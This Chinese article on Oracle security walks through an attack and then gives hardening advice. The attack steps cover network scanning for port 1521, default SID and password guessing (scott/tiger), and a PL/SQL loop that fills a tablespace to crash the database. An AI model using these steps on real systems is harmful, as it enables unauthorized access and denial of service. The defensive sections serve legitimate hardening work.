搞垮他的数据库--Oracle谈安全

人们经常听到Windows的安全漏洞，频繁的遭受病毒攻击等，我们的传统观念是 Windows太不安全了；实际上Unix/Linux如果配置不当，其危险性远远高出人们的想象，大部分人非常重视操作系统的安全，但作为其最重要的数 据库应用，你注意它了么？本文旨在介绍数据库级的安全，当然操作系统被攻破的话，那一切免谈。
   
    让我带你去试着攻击一台装有Oracle的机器

1、首先确定被攻击Oracle的IP地址（无目的，那就去全网扫描吧，发现1521端口打开的就挑出来，不要说连扫描都不会，F..t）

2、猜测它的SID号；好象很困难，事实上安装Oracle时有缺省值，80%的人安装时都不会去修改，或改为很容易猜测的值，比如：ORCL、ORA、 ORA8、ORA9、ORACLE、ORACLE8、ORACLE9、ORACLE8I、ORACLE817、ORACLE92...

3、连接后，猜测用户名和口令；好象更困难，事实上安装 Oracle时，SYS、SYSTEM等系统用户有缺省口令，可惜在9i中，终于改为需用户自己确定口令(不过大部分用户还是沿用以前的口令或使用 'oracle')，而且还有被人们遗忘的用户，比如SCOTT，缺省安装时他会被建立起来的。

4、sqlplus scott/tiger@ora_sid 终于登陆进来，可是这个小用户只是用来做测试学习的，我们用他来干什么呢？

键入：
SQL> select USERNAME,DEFAULT_TABLESPACE from USER_USERS;

USERNAME                       DEFAULT_TABLESPACE
------------------------------ ------------------------------
SCOTT                          USERS


SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
UNLIMITED TABLESPACE
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
CREATE PROCEDURE
CREATE TRIGGER
CREATE TYPE
CREATE OPERATOR
CREATE INDEXTYPE


SQL> select * from user_ts_quotas;

TABLESPACE_NAME                     BYTES  MAX_BYTES     BLOCKS MAX_BLOCKS
------------------------------ ---------- ---------- ---------- ----------
SYSTEM                             524288          0         64          0
USERS                               65536          0          8          0

什么意思呢？

意思是我们的这个用户是数据缺省是建在USERS表空间上的，拥有建表等权限，而USERS表空间的磁盘使用是无限制的，聪明的读者应该明白我们可以在这里写入很多数据直到占满它的磁盘，造成数据库无法使用......

我们试试吧
先建张表

SQL> CREATE TABLE TEST (A CHAR(30));

这张TEST表只有一个字段A

再写个PL/SQL过程

DECLARE
v_number varchar2(30);
m_number varchar2(30):=999999999999999999999999999999;
--m_number的值代表了插入多少行数据，可修改但不能超过30位。
begin
FOR v_number IN 1..m_number LOOP
insert into TEST(A) values(m_number);
commit;
end LOOP;
end;
/

 

    上面的PL/SQL过程表示给TEST表中A列循环插入'999999999999999999999999999999'值，共计 999999999999999999999999999999行。以每行30 byte来算，共计2000000多亿T大小吧，即便他是IBM大鲨鱼的阵列存储，也扛不住。
    当然，你也可以增加几个列，减少m_number值，可以加快速度的。

    这里再提醒大家一个Oracle缺省用户DBSNMP，几乎所有稍高版本的典型安装都会创建它，危险指数高于SCOTT，因为它是创建在SYSTEM表空间的......F..t

    讲了半天，DBA们快看看自己的系统，一般来说成功率相当高。下面我们开始讲讲如何作好安全防护：

1、启用防火墙。
很多单位的数据库都没有防火墙保护，或防火墙配置为透明。实际上防火墙可以有效的阻止扫描 ,如果做了NAT、地址限制、禁止ICMP等就更好了，让别人在外网看不到你的数据库。

2、加大多层结构数据库应用的建设。
传统的C/S尽管有很多优势，但在安全性上实在令人担心。很多程序开发者会将数据库的用户名和密码直接写在客户端程序中，认为编译后会很安全，但事实上你用文本编辑器打开过这个客户端程序吗？你会吃惊的发现竟然可以看到用户名和密码。
多层结构就没有这个问题，前台就是个浏览器或简单的客户端，可能会影响效率但在需要全网公开提供服务的情况下肯定是首选。

3、去除Oracle里用不到的组件，比如Jserver、Agent、远程管理等等，这些强大的功能都是安全隐患，9I的AS存在缓冲溢出漏洞，如果你装了就做祈祷吧...

4、修改缺省用户的密码，自建用户加强口令管理和复杂度。

用system用户进入执行

SQL> select username from dba_users;

USERNAME
------------------------------
SYS
SYSTEM
OUTLN
DBSNMP
TEST
SCOTT
RMAN
TEST1


SQL> select * from session_privs;

PRIVILEGE
----------------------------------------
CREATE SESSION
ALTER SESSION
CREATE TABLE
CREATE CLUSTER
CREATE SYNONYM
CREATE VIEW
CREATE SEQUENCE
CREATE DATABASE LINK
SELECT ANY DICTIONARY

看看你系统到底存在哪些用户，口令修改了吗，够复杂吗,相应的权限是否有扩大的嫌疑？

5、作好数据备份

具体这里就不多说了， 优快云相关版块里有详细的帖子描述Oracle备份机制。

6、合理划分文件系统

*在Unix/Linux下使用df -k检查你的文件系统，不同用户使用不同的表空间，不同的表空间建在不同的文件系统，千万不要把应用建在SYSTEM表空间上，回滚/重做表空间的管理也不容忽视；
SQL> host df -k
Filesystem           1K-blocks      Used Available Use% Mounted on
/dev/hda2              5036316   2100832   2679652  44% /
/dev/hda3              5036316   4381292    399192  92% /oracle
none                    256144         0    256144   0% /dev/shm
/dev/hda5              2016016    863144   1050460  46% /data1
/dev/hda7              6166948    558176   5295508  10% /data2
/dev/cdrom               81762     81762         0 100% /mnt/cdrom


SQL> select file_name,tablespace_name from dba_data_fil

FILE_NAME
-------------------------------------------------------
TABLESPACE_NAME
------------------------------
/oracle/product/9.2.01/oradata/system.dbf
SYSTEM

/oracle/product/9.2.01/oradata/undotbs.dbf
UNDOTBS

/data1/oradata/data1.dbf
DATA1

/data2/oradata/data2.dbf
DATA2

 

*在Windows下，使用资源管理器检查你的分区，不同的表空间建在不同的分区上，同样千万不要把SYSTEM表空间和应用放在一起。


当然，安全管理浩如烟海，这篇文章全当抛砖引玉......